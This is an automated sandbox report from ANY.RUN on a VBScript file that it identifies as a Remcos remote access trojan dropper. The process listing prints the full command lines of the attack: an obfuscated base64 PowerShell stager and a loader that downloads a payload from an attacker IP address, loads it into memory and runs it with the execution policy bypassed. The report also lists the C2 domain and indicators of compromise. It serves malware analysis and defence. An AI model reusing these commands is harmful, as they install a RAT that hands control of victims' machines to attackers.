download:

/sostener.vbs

Full analysis: https://app.any.run/tasks/dc277338-abfe-46e3-ac40-3125b523c253
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: January 11, 2025, 22:51:19
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
opendir
rat
remcos
remote
evasion
payload
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with very long lines (325), with CRLF line terminators
MD5:

4012BCFED1197569453BD8B6527FB57F

SHA1:

9300DA575B4FED831424D2BAE6B89B13A2AE6F9C

SHA256:

531EA5AF4F1C40751DA006760550D1B6E4FCDC7A110EF07A6B44E08746F1925B

SSDEEP:

192:riiii/iiii/iiii/iiii/iiii/iiii/iiii/iiiiWiiii/iiii/iiii/iiii/iiy:2Qqy8c4i6nEN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6512)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6864)
      • powershell.exe (PID: 6512)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 6512)
      • powershell.exe (PID: 6232)

    • REMCOS has been detected

      • MSBuild.exe (PID: 7072)

    • REMCOS mutex has been found

      • MSBuild.exe (PID: 7072)

    • REMCOS has been detected (SURICATA)

      • MSBuild.exe (PID: 7072)

    • REMCOS has been detected (YARA)

      • MSBuild.exe (PID: 7072)

  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3952)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6512)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 3952)
      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6512)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 3952)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6864)

    • Gets content of a file (POWERSHELL)

      • powershell.exe (PID: 6232)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 3952)
      • powershell.exe (PID: 6232)

    • Application launched itself

      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6512)

    • Probably download files using WebClient

      • powershell.exe (PID: 6232)

    • Found IP address in command line

      • powershell.exe (PID: 6512)

    • The process executes Powershell scripts

      • powershell.exe (PID: 6512)
      • powershell.exe (PID: 6232)

    • Connects to the server without a host name

      • powershell.exe (PID: 6512)
      • powershell.exe (PID: 6864)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 6232)

    • Connects to unusual port

      • MSBuild.exe (PID: 7072)

    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 7072)

    • Checks for external IP

      • MSBuild.exe (PID: 7072)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 7072)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 6864)

    • Reads security settings of Internet Explorer

      • MSBuild.exe (PID: 7072)

  • INFO

    • The process uses the downloaded file

      • wscript.exe (PID: 3952)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 6232)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6232)
      • powershell.exe (PID: 6864)

    • Checks proxy server information

      • powershell.exe (PID: 6512)
      • MSBuild.exe (PID: 7072)
      • powershell.exe (PID: 6864)

    • Disables trace logs

      • powershell.exe (PID: 6512)
      • powershell.exe (PID: 6864)

    • Checks supported languages

      • MSBuild.exe (PID: 7072)

    • Reads the computer name

      • MSBuild.exe (PID: 7072)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 7072)

    • Creates files or folders in the user directory

      • MSBuild.exe (PID: 7072)

    • Creates files in the program directory

      • MSBuild.exe (PID: 7072)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
134
Monitored processes
7
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe powershell.exe #REMCOS msbuild.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3952"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\Desktop\sostener.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6232"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹Ho☹RgBL☹GE☹QQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹Ek☹ZQBw☹Ec☹UQ☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹KQ☹7☹CQ☹dwBl☹GI☹QwBs☹Gk☹ZQBu☹HQ☹I☹☹9☹C☹☹TgBl☹Hc☹LQBP☹GI☹agBl☹GM☹d☹☹g☹FM☹eQBz☹HQ☹ZQBt☹C4☹TgBl☹HQ☹LgBX☹GU☹YgBD☹Gw☹aQBl☹G4☹d☹☹g☹Ds☹J☹BS☹FY☹VQBY☹HY☹I☹☹9☹C☹☹J☹B3☹GU☹YgBD☹Gw☹aQBl☹G4☹d☹☹u☹EQ☹bwB3☹G4☹b☹Bv☹GE☹Z☹BT☹HQ☹cgBp☹G4☹Zw☹o☹C☹☹J☹B6☹EY☹SwBh☹EE☹I☹☹p☹C☹☹Ow☹k☹FI☹VgBV☹Fg☹dg☹g☹Hw☹I☹BP☹HU☹d☹☹t☹EY☹aQBs☹GU☹I☹☹t☹EY☹aQBs☹GU☹U☹Bh☹HQ☹a☹☹g☹CQ☹SQBl☹H☹☹RwBR☹C☹☹LQBF☹G4☹YwBv☹GQ☹aQBu☹Gc☹I☹☹n☹FU☹V☹BG☹Dg☹Jw☹g☹C0☹ZgBv☹HI☹YwBl☹C☹☹Ow☹k☹FM☹V☹Bm☹Ec☹b☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹KQ☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹9☹C☹☹I☹☹n☹CQ☹cgB5☹GE☹ZQBH☹C☹☹PQ☹g☹Cg☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹Jw☹n☹Cc☹I☹☹r☹C☹☹J☹BT☹FQ☹ZgBH☹Gw☹I☹☹r☹C☹☹Jw☹n☹Cc☹I☹☹t☹EU☹bgBj☹G8☹Z☹Bp☹G4☹Zw☹g☹FU☹V☹BG☹Dg☹KQ☹7☹Cc☹I☹☹7☹CQ☹TQBP☹EQ☹UgBn☹C☹☹Kw☹9☹C☹☹JwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹EY☹eQBm☹GQ☹eg☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹HI☹eQBh☹GU☹Rw☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹Cc☹J☹☹k☹Cc☹Jw☹s☹Cc☹JwBB☹Cc☹Jw☹p☹C☹☹KQ☹g☹Ds☹Jw☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹r☹D0☹I☹☹n☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹Jw☹g☹Cs☹I☹☹n☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹g☹CQ☹RgB5☹GY☹Z☹B6☹C☹☹KQ☹u☹Cc☹I☹☹7☹CQ☹TQBP☹EQ☹UgBn☹C☹☹Kw☹9☹C☹☹JwBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹I☹☹n☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹n☹C☹☹KQ☹u☹Ec☹ZQB0☹E0☹Jw☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹r☹D0☹I☹☹n☹GU☹d☹Bo☹G8☹Z☹☹o☹C☹☹Jw☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹n☹C☹☹KQ☹u☹Ek☹bgB2☹G8☹awBl☹Cg☹I☹☹k☹G4☹dQBs☹Gw☹I☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹I☹☹n☹Cc☹TQBB☹EE☹dgBB☹Ec☹VQBB☹FY☹UQBC☹FM☹QQBF☹Gc☹QQBW☹Hc☹QQB2☹EE☹RwBR☹EE☹T☹B3☹EI☹b☹BB☹Ec☹VQBB☹Ew☹ZwBC☹Gw☹QQBI☹FE☹QQBj☹Hc☹QgBo☹EE☹S☹BB☹EE☹T☹B3☹EE☹dgBB☹EQ☹bwBB☹GM☹dwBC☹Hc☹QQBI☹FE☹QQBk☹EE☹QgBv☹EE☹QQ☹9☹D0☹Jw☹n☹C☹☹L☹☹g☹Cc☹Jw☹l☹Eo☹awBR☹GE☹cwBE☹GY☹ZwBy☹FQ☹Zw☹l☹Cc☹Jw☹g☹Cw☹I☹☹n☹Cc☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹C0☹LQ☹t☹C0☹LQ☹t☹C0☹Jw☹n☹Cw☹I☹☹n☹Cc☹M☹☹n☹Cc☹L☹☹g☹Cc☹Jw☹x☹Cc☹Jw☹s☹C☹☹Jw☹n☹FI☹bwBk☹GE☹Jw☹n☹C☹☹I☹☹p☹C☹☹KQ☹g☹Ds☹Jw☹g☹Ds☹J☹BW☹EI☹VwBX☹Ho☹I☹☹9☹C☹☹K☹☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DM☹LgBw☹HM☹MQ☹n☹C☹☹KQ☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹B8☹C☹☹TwB1☹HQ☹LQBG☹Gk☹b☹Bl☹C☹☹LQBG☹Gk☹b☹Bl☹F☹☹YQB0☹Gg☹I☹☹k☹FY☹QgBX☹Fc☹eg☹g☹C☹☹LQBm☹G8☹cgBj☹GU☹I☹☹7☹H☹☹bwB3☹GU☹cgBz☹Gg☹ZQBs☹Gw☹I☹☹t☹EU☹e☹Bl☹GM☹dQB0☹Gk☹bwBu☹F☹☹bwBs☹Gk☹YwB5☹C☹☹QgB5☹H☹☹YQBz☹HM☹I☹☹t☹EY☹aQBs☹GU☹I☹☹k☹FY☹QgBX☹Fc☹eg☹g☹Ds☹';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\admin\Desktop\sostener.vbs');powershell $Yolopolhggobek;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6240\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6512"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll01.txt') ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''MAAvAGUAVQBSAEgAVwAvAGQALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoAA=='' , ''C:\Users\admin\Desktop\sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6864"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\admin\AppData\Local\Temp\dll03.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
7072"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
Total events
14 571
Read events
14 565
Write events
6
Delete events
0

Modification events

(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Rmc-QIOMAY
Operation:writeName:exepath
Value:
B87B16B4FD532082121768BA552CD272F0294511CA452DB4CFB63F47E65AD4D47B5B9556EEBD20F07EB2A782CC3CCED3D25B4D743418F3336B1EE52E2F7083BCD366D7AB607F1A4A57EDD056ADAB1B205248830FC670773A1C22BAEAAE331004E89933EE35CFC79FE4BF4F1B2ACEC65C3EDED99C
(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Rmc-QIOMAY
Operation:writeName:licence
Value:
35BDEB21E36CA93875273FB3B2DA143F
(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Rmc-QIOMAY
Operation:writeName:time
Value:
(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7072) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
0
Suspicious files
3
Text files
8
Unknown types
0

Dropped files

PID
Process
Filename
Type
6864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bllno1bu.txq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\dll01.txttext
MD5:C1925884C1B9F7EE061A79A2F737814F
SHA256:38F4B05FBA4A26639A39306B7D7404A9F45EC4699F72678251FC314E3417B21A
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zvxdhfze.f34.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_edgacxpx.rjk.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\dll03.ps1text
MD5:82D4231A30B796B0276338057FECDD25
SHA256:5E2843C62B942A24325731E661897691476D6388061FEBC508526165677A2012
6864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_g5dyimoh.k4g.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7072MSBuild.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\json[1].jsonbinary
MD5:DD1446E718CA83E05B113D1F1ABD816F
SHA256:E2266603731EA1D5687958AE71977D348DD578378A831E940584FA7430E96ECC
6232powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_c3m2zbvl.rzh.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6864powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:95BC3B58CB2082B70D2975E233F566D9
SHA256:71A25477E037855524487597BC438D125CD940A96A7562F931F6847622759F53
7072MSBuild.exeC:\ProgramData\remcos\registros.datbinary
MD5:B82528F96469FA45CAD27785A94A7839
SHA256:3E4284952B7965ADBC2F73FA7C2C4BD910293964F2DFBEACA75AC30BDE5F6AB9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
38
DNS requests
23
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6512
powershell.exe
GET
200
91.202.233.169:80
http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt
unknown
—
—
unknown
6864
powershell.exe
GET
200
91.202.233.169:80
http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AC/Pef3.txt
unknown
—
—
unknown
7072
MSBuild.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
—
—
malicious
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2728
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2728
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4140
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5064
SearchApp.exe
104.126.37.136:443
www.bing.com
Akamai International B.V.
DE
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1176
svchost.exe
20.190.160.20:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.141
  • 23.48.23.166
  • 23.48.23.177
  • 23.48.23.180
  • 23.48.23.194
  • 23.48.23.167
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 216.58.212.174
whitelisted
www.bing.com
  • 104.126.37.136
  • 104.126.37.186
  • 104.126.37.139
  • 104.126.37.185
  • 104.126.37.131
  • 104.126.37.137
  • 104.126.37.129
  • 104.126.37.128
  • 104.126.37.130
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 20.190.160.20
  • 40.126.32.68
  • 40.126.32.74
  • 40.126.32.72
  • 20.190.160.17
  • 40.126.32.76
  • 40.126.32.140
  • 20.190.160.22
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
paste.ee
  • 23.186.113.60
shared
alemania2020.duckdns.org
  • 213.136.81.72
unknown

Threats

PID
Process
Class
Message
6512
powershell.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 13
2192
svchost.exe
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee)
6864
powershell.exe
Potential Corporate Privacy Violation
ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
7072
MSBuild.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
2192
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
2192
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
7072
MSBuild.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
6864
powershell.exe
Potentially Bad Traffic
PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/sostener.vbs